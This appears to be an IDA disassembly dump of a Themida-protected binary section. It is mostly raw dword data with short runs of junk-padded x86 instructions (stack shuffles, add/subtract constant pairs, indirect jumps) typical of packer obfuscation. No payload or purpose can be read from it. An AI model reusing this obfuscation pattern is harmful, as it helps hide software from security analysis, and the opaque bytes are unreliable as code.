575582CDh, 4D498D34h dd 4232743Eh, 4D8F03F4h, 44B13A41h, 74E542C5h, 0ADFC18B9h dd 0B9BABB1Ch, 1C6BFC18h, 210006A7h, 0F170F7BBh, 18B9E768h dd 78413EFCh, 911DDFA2h, 8210CB0Ah, 0E1D59F7Bh, 0BF5B6795h dd 988F0DCAh, 0F9E24D9h, 956FDCEh, 0FC18B975h, 850CF86Eh dd 3A041348h, 79E7h, 696EDB00h, 0B90F40E9h, 7CDDFC18h dd 0FC18B9FBh, 7A315D2Ah, 9E91FE0Dh, 85FC18B9h, 8A18C584h dd 313D0931h, 0B801874Eh, 4134F82h, 9FC3Ah, 3A7D0000h dd 8400F4BAh, 6E887E4Fh, 0AA3F2266h, 1062781Dh, 72EBFDCh dd 99C18DCh, 72890FC6h, 60BB07F3h, 0D97EFAE1h, 0FC18AC98h dd 6685F249h, 92E6DE98h, 0ACDAAAECh, 1BACEAEDh, 65E4A054h dd 0D1EAB622h, 5837435h, 6D6ED399h, 599DC427h, 5387CE5Dh dd 0F30A9845h, 77FE0D7Ah, 0B8B8E284h, 0E09E67BBh, 0CE7850ABh dd 0CA6C82F6h, 0BADB4CFAh, 0BE04A164h, 0AE2F12ABh, 30ABEFEAh dd 65D21B62h, 0E998D506h, 77482870h, 5C6D1BD2h, 0B8FEFB4Eh dd 0AAF6E26Dh, 0BFB73153h, 427A548h, 752A3Ah, 6E1C0000h dd 5DC4276Dh, 0BE9A05CCh, 7A7A6FEFh, 79F8C13Eh, 0FFC33781h dd 713B7B82h, 0FEC43985h, 266C91D0h, 53599CC7h, 562EA8C8h dd 4D50ED3h, 58BD3Ah, 6E810000h, 0ECAA2D6Dh, 6733FBDh dd 0EE7E7CE7h, 0CA18C55Bh, 0D2024518h, 0AA0299D6h, 0F9BF387Bh dd 0D69029A2h, 0E51150DEh, 0A08DCE6Bh, 0EF44FC18h, 0B52629B2h dd 0C95EE3EFh, 0E019117Ch, 2D3CB1DAh, 6ECCBA03h, 7EDB2266h dd 0FC18B9C0h, 10976FD9h, 3A0413BDh, 112h, 6A6E5400h, 5B9CC726h dd 0A1E0CE5Dh, 0B9D8993Eh, 3209FC18h, 69D5A1A9h, 0B6A12D71h dd 258285A9h, 1FACD05h, 0FD6487FCh, 88BBEFCh, 0FAADAEAFh dd 0D20267F9h, 0C906B7D6h, 0CC5F6596h, 19683E8Fh, 0E643DAE0h dd 0F9FAAD4Bh, 105E5610h, 4425A1E7h, 4FF61593h, 45F90C8Ah dd 0F26713E3h, 9D582B89h, 0E8497E1Fh, 498EB10Ah, 8C4BDC43h dd 50A8B3CCh, 0B6FCAA33h, 3FE6F65Bh, 10EF0h, 0EFAECA00h dd 2D06A7EBh, 9A1D0C20h, 0A4669B0Dh, 9ECFA728h, 29C84168h dd 9CE5C633h, 1FA2F26h, 0A5E91352h, 26D21546h, 0A4C5419Ah dd 0FBAF5203h, 7FB483F9h, 7634A52Ch, 0DAE01968h, 0D1D70043h dd 0C6BE384Ah, 9D397F78h, 0E7293A97h, 35913Fh, 18D50000h dd 75D25579h, 0FC18B914h, 1F0BC156h, 0CD526A2Ch, 0CF5E5A9Ah dd 92E93D8Eh, 182D2E0Bh, 1D5DFC18h, 80A4AB29h, 18E73881h dd 211EFC18h, 8924A5h, 0AE5E0000h, 0B9C98A2Fh, 2918FC18h dd 5D9EEDB1h, 61EEC7E0h, 0DD7DDA4Dh, 3401FAD2h, 0A02314B5h dd 85F2F9FAh, 45B23D48h, 0F1E65B47h, 9435B4ABh, 0F9FAA0A3h dd 99A40572h, 9F23D796h, 0B3A4050Ch, 62F9FAA0h, 0A60FD815h dd 0F9FAA38Eh, 55A195D3h, 2063E6A4h, 0BCFAFFBBh, 54B7EC69h dd 17C0C6E7h, 8623260Ah, 41CB5E5h, 9DC4271Ch, 1BA1545Ch dd 8F1E4B80h, 974D3923h, 20A3A68Ah, 0D7367C61h, 4BFC4566h dd 0BA0A36BFh, 181BC1CDh, 77D0577Bh, 1FEAFF6h, 8A35502Fh dd 0CC19934Dh, 5FAEF2E8h, 94B37D1Eh, 6ADFFB30h, 73DC2F6Dh dd 3F120FEBh, 3E8C7822h, 0CD4CF3B9h, 0DCCFEB6Ch, 7C4D3AB8h dd 19981BAEh, 0DCCFBFB0h, 401956B8h, 0B8DCCF0Fh, 115069C6h dd 185BA2E8h, 624CDFDDh, 39BE0CF8h, 0CD3A8079h, 317760C1h dd 38BEAh, 0A7B30000h, 2C686E9Dh, 5B6196D9h, 575B81C0h dd 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h dd 8307CF76h db 78h, 0F2h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 5B4Fh mov [esp], eax push 2658h mov [esp], ecx push edi mov edi, 5E5F5FDh mov eax, edi mov edi, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 push ebp push eax sub dword ptr [esp], 5CA016CFh pop ebp add ebp, 5CA016CFh mov [ecx+8], ebp pop ebp mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- dd 0FA1FB874h, 0C50305E5h, 3D97E0FFh, 39D5783h, 6B9B4E4Fh dd 72D0416h, 0AC0C7E57h, 60BD59A5h, 2F7F42C5h, 401644FCh dd 0AC177F39h, 0BFA14BAEh, 59256DC5h, 0EF674B62h, 0C18B75CFh dd 0C21BD23h, 4EB05E2h, 0 dd 68E0Fh, 0BD8B0000h, 5E20A45h, 0EE9h, 9CFC0900h, 3223CD6Ah dd 8258FEC0h, 8DA4DF18h, 0E20E9185h, 0B58B6005h, 5E22969h dd 9061E88Ah, 0AE8h, 5C6BCB00h, 0A15C3A20h, 0E879223Ch dd 0Bh, 0BD2366A0h, 761E017Ch, 0BF5721FBh, 5023DDE1h, 0BE505E5Fh dd 416C9255h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 4A2CDF90h, 78EAA00Ah, 0B1BD8B5Ah dd 6A05E21Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0FBC2688h, 6AF0BFh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 15h, 77C35545h, 6858D19h dd 0F05E5FDh, 68Bh, 0F1BD2300h, 8305E215h, 6A05C0h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 9EFAA4C3h, 8B545A0Fh, 0E21099BDh, 8B665005h, 240489F1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0FBC35141h dd 1C05081Eh, 66CED5D2h, 0F7BF0F71h, 6AF28Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 29C35040h, 9C036305h dd 1B523A3h, 8B05E21Ch, 89006AF1h, 0E20F8DBDh, 2D95FF05h dd 6A05E21Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0AE4FC352h, 0A2AF6B2Ch, 0BEA6C9C9h dd 6349EEC3h, 9D809D8Dh, 6A05E5h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 5EDC97C3h, 0F38BD5C2h dd 24FD8D89h, 0D3FF05E2h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0EFC35040h, 0DA3B5748h, 438285E7h, 4D98529h dd 85FF05E2h, 5E22329h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 76C35242h, 0FE871015h, 8EAE9FCh, 0E80000h dd 5D000000h, 0FD10ED81h, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 70A8BC3h, 56A0866Ah dd 811E9869h, 10C2F9DEh, 21BD8173h, 0D005E221h, 0F000007h dd 16F86h, 0C0D78100h, 8B425C26h, 0E209F99Dh, 1DB58905h dd 8105E206h, 100E3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0E7A1D07h, 0B52B0AB7h dd 5E204FDh, 0DB0BF08Bh, 97850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 7175EAC3h dd 0E9BD83A8h, 5E5FAh, 4C840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0CBB785C3h dd 0CFFFD56Dh, 79E9h, 14E800h, 4B2B0000h, 51A2A700h, 763AD26Bh dd 0E606E6FFh, 4118CEFh, 6E9C904h, 0FA000000h, 0FAC78DA9h dd 85C75E5Fh, 5E5FAE9h, 1, 39BDBF66h, 0CE816660h, 0FDBBB469h dd 61690207h, 35E9h, 0E985C700h, 5E5FAh, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 8187C355h, 92A92901h, 0BF668F99h, 0BF669F65h, 9D8D11DDh dd 5E209F9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 52C35040h, 85E87888h, 423DF6Dh, 0FF23813Eh, 6AFFFFFEh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0C86CC350h, 0CA8D2A7Dh, 718B72BFh, 9DE9BF66h dd 6ADB8C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 909C357h, 8B4A35BCh, 0E209CDB5h dd 4C3F605h, 80840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0ECDF50C3h, 0BD23A67Ch dd 5E21CD5h, 0B99D8960h, 0E905E215h, 10h, 79AA48ECh, 1933E23h dd 1E6E764Bh, 0D2965205h, 2195FF61h, 6A05E216h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 1A93C350h, 0B58B3379h, 5E20829h, 170BBF50h, 489371Ch dd 38A0F24h, 66000000h, 48E9FB8Bh, 6A000004h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0D488C350h, 6195293Ch, 0B005E221h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 53F8C9B3h, 629A02BFh, 70E65F47h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0F3C35343h, 65D7C4E7h, 81CF65A6h dd 0FFBF0FB9h, 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 740D47C3h, 852902C4h, 5E22AF5h dd 24BDBD8Bh, 0B60F05E2h, 0DF8166D8h, 6BA36E2h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 884C355h, 1BFDBD8Bh, 806005E2h, 0BD89F4E7h dd 5E21F91h, 0C1C38B61h, 6A04E8h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0BDBC51C3h, 12C484AFh dd 0E985FEB7h, 8, 4A9D54A9h, 0C9B33A11h, 6AE2F766h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 6191C355h, 0FC297AF6h, 1B9B58Bh, 0D82B05E2h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D7C35141h, 29C187F9h dd 71207969h, 4880Fh, 0BF660000h, 5093E0FAh, 8B93505Eh dd 0E21DDDBDh, 21B5FF05h, 6A05E221h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 72A6C356h dd 55662A8Ch, 3D858969h, 0FF05E21Fh, 0E20AB995h, 6F7FBF05h dd 0B07782h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 8BC35141h, 0EE9h, 845E4600h, 715C6AC5h, 395FA191h dd 0E62D5FF5h, 53006A70h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0EE986h, 0FB100000h, 0D59D81CBh dd 47733F2Fh, 0CB53AF02h, 880Fh, 71E40000h, 113838BFh dd 0F613C46h, 21E83h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 879EC231h, 26BAC4ECh dd 0D8B60FF8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 70C35646h, 0C6D9A02Fh, 58729AFDh, 0C35E3DBEh, 6BA5Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0DCD3B3C3h, 8BF88EBAh, 57006AC3h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0EF801AA8h dd 0B21BD2Bh, 0E8C105E2h, 76BE6604h, 0E2F76613h, 0EB1B523h dd 0D82B05E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 2C35646h, 0D577E76Ch, 0F9FAB70Fh, 52006A58h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 4148A94Fh, 0BD8BA85Bh, 5E22C05h, 880FD82Bh, 11Bh, 5E8h dd 59FAE00h, 0BD8BF1D9h, 5E2243Dh, 7B95Eh, 6E90000h, 0AA000000h dd 0E49B8E58h, 0C183CFh, 4D18D31h, 0D93B05E2h, 0E9860Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0BD4696C3h, 0AD506A61h, 85094515h, 5E20FF1h dd 60D98C66h, 1ABE980h, 0E20AC1B5h, 6E96105h, 6F000000h dd 1A71D720h, 4C1F60Fh, 96840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B58B6DC3h dd 5E20A89h, 2D79B58Bh, 95FF05E2h, 5E21621h, 1A58D89h dd 815B05E2h, 0FE8AF3CFh, 6AC32B49h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2FA2C355h dd 0D2808702h, 343D90B1h, 0F000008h, 2B86h, 2CE9FC00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 351BC351h, 0C4E16D5Fh, 7E474F19h dd 8166C08Bh, 8BDEAAC7h, 6AD88BC3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0A1DEC356h dd 0C56EFF2Eh, 803D51BCh, 2BD5B58Bh, 85C705E2h, 5E20B5Dh dd 19C1D993h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 40C35646h, 0CF8B6660h, 3D68BE66h, 0E8C08B61h, 0Fh dd 0B91CDA6Eh, 0FA1377B5h, 0CBCFCF13h, 0FAE1265h, 280h dd 5F616000h, 2121BD81h, 7D005E2h, 850F0000h, 53h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0C2C35040h, 56F36A82h dd 8D95894Ah, 0FF05E21Ah, 0E2212185h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 4170028Eh, 72BF4833h, 0FF6A3AD2h, 0E22121B5h, 8D8B6005h dd 5E2157Dh, 0A832BF66h, 0B995FF61h, 6A05E20Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 8ECFC355h, 0C6816620h, 6A90B7F3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 22ECC353h dd 6AF88B66h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0FC38C353h, 1E71BD8Bh, 0BF6605E2h dd 8166C707h, 8193E9D6h, 37A1B5EEh, 0B70F5326h, 95295FFFh dd 5E221F1h, 6AFB8Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 42DD6DC3h, 41B58B44h, 8B05E215h dd 0E22679BDh, 0F08B6605h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0D1C35141h, 26BEFFFEh, 8850F9Ah, 50000000h dd 11858D89h, 6A5E05E2h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0F6D3C355h, 89515C34h dd 0E20A2D95h, 0FABF5E05h, 0E930D2D8h, 14h, 0F8876A9Eh dd 0DAC82303h, 0B8A45F76h, 0BD7484DFh, 9665657h, 0FFF729E9h dd 0F38B66FFh, 0BE9h, 8A71E700h, 90376B74h, 0CF4ABBB8h dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 958943C3h, 5E20589h, 0BDC9D6BEh, 4EB53h dd 0E8000000h, 0Ah, 0DDA9AA98h, 8D73EDA6h, 0B531CC79h dd 5E21411h, 0C5B58B5Eh, 0E805E22Ah, 12h, 0BE252EE7h, 1001368Ch dd 0ACD05A53h, 23256574h, 14E975CAh, 42000000h, 952D5A2Eh dd 558C7396h, 79CEBE57h, 558855CFh, 5F9B9C5Bh, 0E91858Dh dd 81F805E2h, 72F58F6h, 5250901Eh, 0F88B6650h, 5A310F5Fh dd 7FBE5058h, 90564A50h, 16F5B58Bh, 6A05E2h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6AC35343h, 772FDD28h dd 8936A40Dh, 8D006AADh, 0E6077185h, 29BD8B05h, 5305E216h dd 5C0835Eh, 50F7BF0Fh, 830Fh, 4890000h, 1DD78124h, 6A3EACACh dd 68C0F00h, 23000000h, 0E22619BDh, 3006A05h, 0E2185DBDh dd 2D95FF05h, 8905E21Eh, 0E2118595h, 809D8D05h, 6A05E59Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0D766C355h, 0C0353A7h, 74D781BBh, 8B72E93Bh dd 0E21C89BDh, 81D3FF05h, 0E6C756C7h, 2985FF0Ah, 6A05E223h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0E32DC356h, 636C9E99h, 60389618h, 61F7B70Fh dd 871E9h, 0E800h, 815D0000h, 0E6077BEDh, 21BD8905h, 8105E205h dd 0E22121BDh, 7D005h, 9C860F00h, 8B000001h, 0E21439BDh dd 0DD9D8B05h, 6A05E21Ch, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 309BC352h, 0E38139h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 58D8C351h, 850FDB0Bh, 0C7h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E8C35242h, 8BA1A9E6h dd 0E20835BDh, 89BF6605h, 0B50B5013h, 5E20B9Dh, 20BD835Fh dd 5E606h, 28840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 905609C3h, 10E1CC1h dd 81E9B8h, 85C70000h, 5E60620h, 1, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0F5C35545h, 5EE56CC8h, 0A5D78166h dd 4DE9A3h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0CD1107C3h, 8B4F9AD8h, 0E20A19B5h dd 2FEF8105h, 0C712C868h, 0E6062085h, 5, 11E900h, 0E93B0000h dd 0F9EA2305h, 5BF2861Ch, 1635E023h, 8D83FE8Dh, 0E21CDD9Dh dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0E3458F0h, 788B1B09h, 0BD8B3395h, 5E22AB9h dd 47D8D29h, 238105E2h, 0FFFFFEFFh, 11E8h, 8F48B700h, 0C52CF095h dd 0B3303502h, 0BE9E5B5Fh, 8A0F3AB7h, 6, 870Fh, 665F0000h dd 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 8D0199C3h, 5E21CA5h, 898D8952h, 5E05E21Eh dd 0F04C3F6h, 7784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 66BCD393h, 470DDF81h dd 162195FFh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 758173C3h, 89349CE6h, 0E207AD85h dd 60505005h, 11E8h, 0E754AB00h, 552BB12Fh, 59C8D9Ch, 93BB7F78h dd 605A9CCCh, 895F6161h, 85892404h, 5E219F9h, 42DE9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0B7498BAAh, 8B587F5Fh, 0E215E9B5h, 21B58B05h, 0B005E21Dh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0EAC50400h, 0E9B53AABh, 0Fh, 132B47F2h dd 8E98F92Eh, 0E844CCDBh, 0E6F9FA91h, 55006A70h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0E543D388h, 9D89528Bh, 5E22341h, 6A71E4h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 546308C3h dd 1845A1Fh, 0FF08B66h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0E7FF7DC3h, 7430A050h dd 0F943A2D9h, 6BAh, 0A66EBF00h, 0C38B1032h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A6C35242h dd 0B543232Ch, 75BF4339h, 0C11FD8B1h, 852904E8h, 5E20EA5h dd 3D8D8B60h, 8905E231h, 0E20825BDh, 0F7666105h, 0CE8E2h dd 0AECD0000h, 6E7F85C2h, 4467CA45h, 0FE8BEC25h, 81D82B5Eh dd 1369E0EEh, 66605027h, 0E0BAD08Bh, 614CE46Ch, 6A241C89h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 2736C352h, 0E803F91Bh, 10h, 6DD392EBh, 7146120Dh dd 2D2B69DBh, 5497CCDCh, 0E4DBD8Bh, 0FF5F05E2h, 0E22121B5h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 3B035060h, 6830Fh, 85890000h, 5E219E9h dd 0AB995FFh, 0B005E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 55C35646h, 2C4B2726h, 0A75B3616h, 0F606057h dd 9D09DBBFh, 5E20A95h, 79B53161h, 6105E22Dh, 0BD0370E6h dd 5E20941h, 0F68171E4h, 76AA6C3Fh, 830F613Ch, 212h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 7EC35040h, 11633322h dd 441FFEF1h, 18D99D31h, 0B60F05E2h, 0FE8B66D8h, 6BAh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 88D96AF0h, 0CE791F89h, 17C1B50Bh, 0C38B05E2h dd 32EDBD8Bh, 0E8C105E2h, 0E2F76604h, 13E8h, 8893F700h dd 666597B3h, 37C6439Eh, 0BBA26105h, 0C68C6E94h, 2BDD8501h dd 2B5F05E2h, 18B0FD8h, 0F8000000h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0B0F8CE8Fh dd 8060306Eh, 958B12D8h, 5E20035h, 0B59D8961h, 2B05E21Fh dd 43880FD8h, 6A000001h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0D227C352h, 9D0983BEh dd 5E20D95h, 7B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0B2DC8BCh, 83BB8DD5h dd 6A00C1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0B58BC0C3h, 5E20BB1h, 2C1D9D89h, 0D93B05E2h dd 0C4860Fh, 95290000h, 5E22129h, 29D98C66h, 0E216A995h dd 4C1F605h, 0A6840Fh, 0DE90000h, 0ED000000h, 573E7FD5h dd 81B1E5A1h, 3BDE090Bh, 162195FFh, 6A05E2h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD8B71C3h dd 5E21D4Dh, 5FBE665Bh, 6AC32B92h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 6A0EC350h dd 95892D57h, 5E218C9h, 8343Dh, 35860F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 72ACC352h, 0D7E3C36Ah, 0E9FA393Ah, 12h, 68B0Fh, 95290000h dd 5E2212Dh, 0BF66C08Bh, 0C38BC3C9h, 0EE8D88Bh, 46000000h dd 6C1F562Eh, 2500D9F2h, 529341D0h, 0F78166E4h, 815EB600h dd 346544DFh, 0F985C72Bh, 3705E209h, 93E40D5h, 0E2144585h dd 6AC08B05h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0BE43C350h, 530143ACh, 63CE8166h dd 21BD81E5h, 0D005E221h, 0F000007h, 3E85h, 0E4B1BE00h dd 860F5F3Dh, 6, 811BD03h, 85FF05E2h, 5E22121h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 73C35242h, 0A2F699CBh dd 9DBD8BCAh, 0FF05E215h, 0E22121B5h, 0B58B5605h, 5E20B75h dd 21D9BF5Fh, 95FF7359h, 5E20AB9h, 2659BD8Bh, 0E89005E2h dd 10h, 92CF2037h, 4E1BC64Fh, 6398945Dh, 754F17E4h, 5B9BD8Bh dd 535E05E2h, 41B529F8h, 5E05E207h, 68C0Fh, 0BD030000h dd 5E217C1h, 51C68166h, 68F0F0Dh, 81000000h, 14EC0CEEh dd 51006A71h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 57006A81h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0E99D8966h, 0BE05E22Bh dd 0AC46E3Fh, 860F5F51h, 18h, 2D8D0950h, 5F05E222h, 0BED18160h dd 6614FC97h, 80BFD18Bh, 613B985Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 5C35141h, 0BFCDC5F9h, 3EBE85A9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 81C35747h dd 43C30A7Fh, 0F2C4C95h, 8D89F3B7h, 5E22335h, 16C1B501h dd 816605E2h, 0E93D7ADEh, 0FFFFF795h, 22BDB58Bh, 0C18B05E2h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 79C35242h dd 0DD3B30CDh, 8C565DB0h, 0D6DF8157h, 5E6E1476h, 4EBh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 7636BBC3h, 6AC3A3h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8D85DBC3h, 0E20E9185h dd 0BE905h, 0B9550000h, 281B98DCh, 0C641AD04h, 10E89095h dd 0C9000000h, 0B57F3250h, 669A895Dh, 0E4A52A05h, 66906A21h dd 5EB60FBEh, 8B666050h, 6A9061DEh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 5A6DC351h dd 8B27042Ah, 0E22C91BDh, 6A006A05h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 598FC357h dd 82346C09h, 0E9FE295Ch, 7, 6629F4CFh, 8B29982Ah, 0E22649B5h dd 0F9006A05h, 1268858Dh, 11E805E6h, 3C000000h, 7AD82DAFh dd 2730CBBh, 96F13923h, 0E6F70BF7h, 4B63BF66h, 5C0835Eh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 69C35242h dd 618DCB97h, 0E85DCE9Ah, 12h, 8E71C3C0h, 2E9ECBB2h, 2AE61B9Eh dd 0EECDF718h, 830F14D9h, 6, 8E0Fh, 505F0000h, 0F18B5250h dd 4895E5Fh, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0B06DFC88h, 270F81CDh, 0DF81F8AAh dd 11D3B927h, 0B25B533h, 6A05E2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 44C35646h, 0D7C37E2Bh, 3438351Ah dd 0CE92Eh, 54080000h, 0B9F04862h, 56E72521h, 6A8376h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0E5C35747h dd 96550573h, 89D41733h, 0E21C75BDh, 2D95FF05h, 0F05E21Eh dd 48Fh, 18BF6600h, 809D8D8Eh, 6A05E59Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2B0BC355h dd 0C2CEB977h, 8957A365h, 0E21A61B5h, 0D3FF5F05h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 2DC35747h, 14FDF02Ch dd 0FFFEF42Eh, 0E2232985h, 0E9F88B05h, 863h dword_52EF24 dd 0E8h, 0ED815D00h, 5E61272h, 0E851006Ah, 3, 59C35920h ; DATA XREF: Themida_:004EF718o dd 4244C89h, 4244481h, 14h, 0AFC35141h, 8DCF8166h, 21BD81ACh dd 0D005E221h, 0F000007h, 18A86h, 53006A00h, 3E8h, 0C35B2000h dd 